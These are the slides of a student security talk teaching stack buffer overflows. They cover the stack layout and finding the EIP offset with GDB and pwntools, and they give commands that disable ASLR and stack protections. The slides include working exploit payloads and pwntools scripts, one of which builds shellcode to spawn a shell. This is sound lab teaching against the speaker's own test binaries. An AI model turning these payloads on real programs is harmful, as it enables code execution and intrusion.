title: "Smashing the Stack" author: "DanG42"
Introduction
Hello COMSEC!!!
Thanks for letting me come an Talk
Stack Smashing
- The Best1 Part of Cyber security
- Proper Computer Science
Rough Overview
- WTF is the Stack
- How do We Smash it.
- Redirecting application flow
- "Classic" Overflows
No ROP??
- Be patient
- Next week with Greg (or Me)
What are Overflows
- We end up in a bit of memory we should be in
- Usually we get crash
- But could change behaviour of program
Why they occur
- A lot of it is down to "poor" programming
- (trusting the user to input the correct thing)
- In C/C++ Memory for variables such as strings is pre-allocated.
- The program expects us to respect this.
- The Compiler expects us to be good coders and understand the dangers.
- Allows us to allocate too much space and overwrite other parts of memory
- Its really easy to do this by mistake.
- C / C++ Segfaults
The Stack
WTF is the Stack
- Program memory for currently running processes
- Keeps track of Function calls, variables etc
- Fundamental for making programs work.
- Otherwise we would have to load EVERY option into memory at the start.
The Stack
- Memory is organsised as a stack (First In-Last Out)
- Each Process is allocated a "chunk" of memory the stack frame
- Contains Variables, Data, and Pointers to other locations
- Efficent, and allows branching etc, to be dealt with in a sane way
- As a new process happens, the relevant space is dynamically allocated.
Stack Frames
So How do we represent a Process.....
Stack Frames
Name Value
SP (Top item in stack) Data (I.e. Variables) BP (Base of Frame) IP (Next Instruction to run) Args (1) (Function Args) Args (2)
The IP
- Instruction Pointer: A Register that tells the program the memory address to return to
- Also Known as
- EIP (32 bit)
- RIP (64 bit)
- If we control this we control program flow
In Action
hello.c
#include <stdio.h>
int add(int var1, int var2){
//Add two numbers
int total;
total = var1+var2;
}
void main(int argv, char* argc){
//Function call
int total = add(10, 20);
printf("Total is %d \n", total);
}
GDB
Can pull a program aprat in this
Start with
gdb program
View Assemby
set disassembly flavor intel
disass main
R2
- There is Also Radare / Cutter
- Though that's another talk
Allocating Space
- Function variables are allocated space on the stack
- We have a "Slot" of memory saved for the data
Allocating Space
int add(int var1, var2){
#Add two numbers
int total;
total = var1+var2;
}
Allocating Space
- gdb
- break add #Breakpoint
- x/10c @esp #Examine data in stack
- show vars changing
Enough Of this Lets Break things
How things break
- We go over the space allocated for a var
- REMEMBER that IP is below the data
- So if we co far enough we can change what IP is...
C Strings
- Firstly. Dont google image search them, Horrible things happen
- Remember a string is just a pointer to a chunk of memory
- We start at the address
- Iterate over each character
- Stop when we reach the end of the string (a null byte)
What happens with C Variables
- Remember C wanted you to specify the size of arrays
- As arguments and data are added, an appropriately sized chunk of memory is allocated on the stack
- However, C doesn't check what you put into an variable is the right
size
- What would happen if we tried to squeeze a 10 Character string into the 5 allocated units?
First Overflow
- Shamelessly Inspired by IO
- FirstOverflow.c
Turning Off Protections
ALSR
$sudo su
[sudo] password for dang:
[root@dang-laptop Code]# echo 0 > /proc/sys/kernel/randomize_va_space
[root@dang-laptop Code]# exit
exit
Compile
apt install gcc-multlib
gcc -fno-stack-protector -m32 -g -z execstack firstOverflow.c -o firstOverflow
Running
$ ./firstOverflow
Overflow the Buffer
AAAAAA
Off to 0x56556209
Current Memory Address is 0x56556219
Aim for 0x565561dd
Lose :(
And Breaking Stuff
$ ./firstOverflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....AAAAAAAA Off to 0x41414141 [2] 317135 segmentation fault (core dumped) ./firstOverflow $(python -c "print('A'*200)")
Whats happenig Here
- 4141414141
- Ascii for "A"
- So we have control of where to go
Looking in GDB
- We can use GDB for input
- Generate with python -c "print('A'*200)"
- gdb-peda$ run
Manually finding EIP
- Binary Search style
- Ok at 100
- Breaks at 200
- Next try is 150
Pwntools
- Awesome Python Library for this
- I use the python2 version (cuz bytestrings)
Getting EIP
cyclic 200
- Feed this into the GDB
Getting EIP
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x62616167 in ?? ()
Getting the Offset
dang@dang-laptop ~/Github/ComsecStacks$ cyclic -l 0x62616167
124
Breaking the Code
- We now now have all the pieces
- Offset
- Location to go to...
Breaking he Code
- Out Hint
Aim for 0x565561dd
- Endianness
56 55 61 dd
Making a Payload
./firstOverflow $(python2 -c "print('A'*124 + '\xdd\x61\x55\x56')")
Usnig PwnTools
from pwn import *
payload = "A"*124 #Offset
payload += p32(0x565561dd) #Address
print(payload)
## Create a connection to the binary
p = process(["firstOverflow", payload])#payload], shell=True)
p.interactive()
Review
- Find Overflowable Cod
- Find EIP
- Inject Payload
- Win
Classic Overflows
A More Complex Example
- Its OK redirecting program flow.
- This time we are going to try to drop a shell
- We need to inject some code into the stack
- Jump to a location near the top of the stack (and the executable code)
- ....
- Profit
Requirements
- Offset
- JMP Location
- Payload
Classic Code
- classic.c
WE could do this
- Start Breaking in GDB
Pwn tools
p = process("/classic")
raw_input("Attach GDB") #Hack for lack of GDB spawn in my System
p.sendline("A"*500)
Getting the Offset
- Usual cyclic thing
$ cyclic -l 0x6361616a
236
Payloads
- Offset
- JMP Location
- Payload
Using Pwntools
- I like msfvenom, but pwn also works
context.update(arch='i386', os='linux')
# create a process
# CREATE OUR SHELLCODE
shell = shellcraft.sh()
Payloads
- Offset
- JMP Location
- Payload
Where to Jump to
- Rememeber that stuff goes into registers
- So lets look for our data there
Footnotes
-
IMO, but sometimes I get carried away with other shiney hacks
↩